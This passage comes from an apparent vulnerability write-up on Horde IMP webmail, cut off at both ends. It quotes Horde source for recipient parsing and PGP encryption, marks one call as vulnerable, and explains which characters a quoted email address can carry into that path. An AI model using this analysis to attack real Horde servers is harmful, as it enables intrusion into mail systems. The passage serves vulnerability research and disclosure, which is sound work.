class=\"crayon-c\">\/* Can send in clear-text all at once, or PGP can encrypt<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-17\"><span class=\"crayon-c\">\/* 809 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">multiple <\/span><span class=\"crayon-e\">addresses <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">same <\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37275d727135717-18\"><span class=\"crayon-c\">\/* 810 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">msg_options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;from&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">from<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37275d727135717-19\"><span class=\"crayon-c\">\/* 811 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">save_msg<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_createMimeMessage<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">recip<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;list&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">body<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">msg_options<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\">#! vulnerable code<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0031 seconds] -->  <\/p>\n<p>In line 741 it tries to create recipient list: Horde parsers values of &#8216;to&#8217;, &#8216;cc&#8217;, &#8216;bcc&#8217; headers and creates list of <em>Rfc822<\/em> addresses. In general there are restrictions for characters in addresses but if we will use the next format:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372761194537258\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> display-name &lt;&#8220;somemailbox&#8221;@somedomain.com&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372761194537258-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372761194537258-1\"><span class=\"crayon-v\">display<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-s\">&#8220;somemailbox&#8221;<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">somedomain<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>somemailbox will be parsed by <em>_rfc822ParseQuotedString()<\/em> method:<\/p>\n<p>Path: <em>\/Horde\/Mail\/Rfc822.php:<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372763754256068\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 557 *\/ protected function _rfc822ParseQuotedString(&amp;$str)  \/* 558 *\/ {  \/* 559 *\/ \tif ($this-&gt;_curr(true) != &#8216;&#8221;&#8216;) {  \/* 560 *\/ \t\tthrow new Horde_Mail_Exception(&#8216;Error when parsing a quoted string.&#8217;);  \/* 561 *\/ \t}  \/* 563 *\/ \twhile (($chr = $this-&gt;_curr(true)) !== false) {  \/* 564 *\/ \t\tswitch ($chr) {  \/* 565 *\/ \t\tcase &#8216;&#8221;&#8216;:  \/* 566 *\/ \t\t\t$this-&gt;_rfc822SkipLwsp();  \/* 567 *\/ \t\t\treturn;  \/* 569 *\/ \tcase &#8220;n&#8221;:  \/* 570 *\/ \t\t\/* Folding whitespace, remove the (CR)LF. *\/  \/* 571 *\/ \t\tif (substr($str, -1) == &#8220;r&#8221;) {  \/* 572 *\/ \t\t\t$str = substr($str, 0, -1);  \/* 573 *\/ \t\t}  \/* 574 *\/ \t\tcontinue;  \/* 576 *\/ \tcase &#8216;\\&#8217;:  \/* 577 *\/ \t\tif (($chr = $this-&gt;_curr(true)) === false) {  \/* 578 *\/ \t\t\tbreak 2;  \/* 579 *\/ \t\t}  \/* 580 *\/ \t\tbreak;  \/* 581 *\/ \t}  \/* 583 *\/ \t$str .= $chr;  \/* 584 *\/ }  \/* 586 *\/ \/* Missing trailing &#8216;&#8221;&#8216;, or partial quoted character. *\/  \/* 587 *\/ throw new Horde_Mail_Exception(&#8216;Error when parsing a quoted string.&#8217;);  \/* 588 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372763754256068-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372763754256068-27\">27<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-1\"><span class=\"crayon-c\">\/* 557 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_rfc822ParseQuotedString<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">str<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-2\"><span class=\"crayon-c\">\/* 558 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-3\"><span class=\"crayon-c\">\/* 559 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_curr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8221;&#8216;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-4\"><span class=\"crayon-c\">\/* 560 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Mail_Exception<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;Error when parsing a quoted string.&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-5\"><span class=\"crayon-c\">\/* 561 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-6\"><span class=\"crayon-c\">\/* 563 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-st\">while<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">chr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_curr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-7\"><span class=\"crayon-c\">\/* 564 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">chr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-8\"><span class=\"crayon-c\">\/* 565 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&#8221;&#8216;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-9\"><span class=\"crayon-c\">\/* 566 *\/<\/span><span class=\"crayon-h\"> \t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_rfc822SkipLwsp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-10\"><span class=\"crayon-c\">\/* 567 *\/<\/span><span class=\"crayon-h\"> \t\t\t<\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-11\"><span class=\"crayon-c\">\/* 569 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;n&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-12\"><span class=\"crayon-c\">\/* 570 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-c\">\/* Folding whitespace, remove the (CR)LF. *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-13\"><span class=\"crayon-c\">\/* 571 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">str<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;r&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-14\"><span class=\"crayon-c\">\/* 572 *\/<\/span><span class=\"crayon-h\"> \t\t\t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">str<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">str<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-15\"><span class=\"crayon-c\">\/* 573 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-16\"><span class=\"crayon-c\">\/* 574 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">continue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-17\"><span class=\"crayon-c\">\/* 576 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\\&#8217;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-18\"><span class=\"crayon-c\">\/* 577 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">chr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_curr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">true<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-19\"><span class=\"crayon-c\">\/* 578 *\/<\/span><span class=\"crayon-h\"> \t\t\t<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-20\"><span class=\"crayon-c\">\/* 579 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-21\"><span class=\"crayon-c\">\/* 580 *\/<\/span><span class=\"crayon-h\"> \t\t<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-22\"><span class=\"crayon-c\">\/* 581 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-23\"><span class=\"crayon-c\">\/* 583 *\/<\/span><span class=\"crayon-h\"> \t<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-i\">str<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">chr<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-24\"><span class=\"crayon-c\">\/* 584 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-25\"><span class=\"crayon-c\">\/* 586 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Missing trailing &#8216;&#8221;&#8216;, or partial quoted character. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372763754256068-26\"><span class=\"crayon-c\">\/* 587 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">throw<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Horde_Mail_Exception<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;Error when parsing a quoted string.&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372763754256068-27\"><span class=\"crayon-c\">\/* 588 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0033 seconds] -->  <\/p>\n<p>There are only a few limitations:<\/p>\n<ul>\n<li>we cannot use \u201c<\/li>\n<li>n will be deleted<\/li>\n<li>we cannot use  at the end of our mailbox<\/li>\n<\/ul>\n<p>After creation of recipient list <em>buildAndSendMessage()<\/em> will call <em>_createMimeMessage()<\/em>:<\/p>\n<p>Path: <em>\/imp\/lib\/Compose.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372766045048910\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 1446 *\/ protected function _createMimeMessage(  \/* 1447 *\/ Horde_Mail_Rfc822_List $to, $body, array $options = array()  \/* 1448 *\/ )  \/* 1449 *\/ {  \/* 1450 *\/ global $conf, $injector, $prefs, $registry;  \/* &#8230; *\/  \/* 1691 *\/ \/* Set up the base message now. *\/  \/* 1692 *\/ $encrypt = empty($options[&#8216;encrypt&#8217;])  \/* 1693 *\/ ? IMP::ENCRYPT_NONE  \/* 1694 *\/ : $options[&#8216;encrypt&#8217;];  \/* 1695 *\/ if ($prefs-&gt;getValue(&#8216;use_pgp&#8217;) &amp;&amp;  \/* 1696 *\/ !empty($conf[&#8216;gnupg&#8217;][&#8216;path&#8217;]) &amp;&amp;  \/* 1697 *\/ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT, IMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC,  IMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) {  \/* 1698 *\/ $imp_pgp = $injector-&gt;getInstance(&#8216;IMP_Crypt_Pgp&#8217;);  \/* &#8230; *\/  \/* 1727 *\/ \/* Do the encryption\/signing requested. *\/  \/* 1728 *\/ try {  \/* 1729 *\/ switch ($encrypt) {  \/* &#8230; *\/  \/* 1735 *\/ case IMP_Crypt_Pgp::ENCRYPT:  \/* 1736 *\/ case IMP_Crypt_Pgp::SYM_ENCRYPT:  \/* 1737 *\/ $to_list = clone $to;  \/* 1738 *\/ if (count($options[&#8216;from&#8217;])) {  \/* 1739 *\/ $to_list-&gt;add($options[&#8216;from&#8217;]);  \/* 1740 *\/ }  \/* 1741 *\/ $base = $imp_pgp-&gt;IMPencryptMIMEPart($base, $to_list, ($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ?  $symmetric_passphrase : null);  \/* 1742 *\/ break;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" 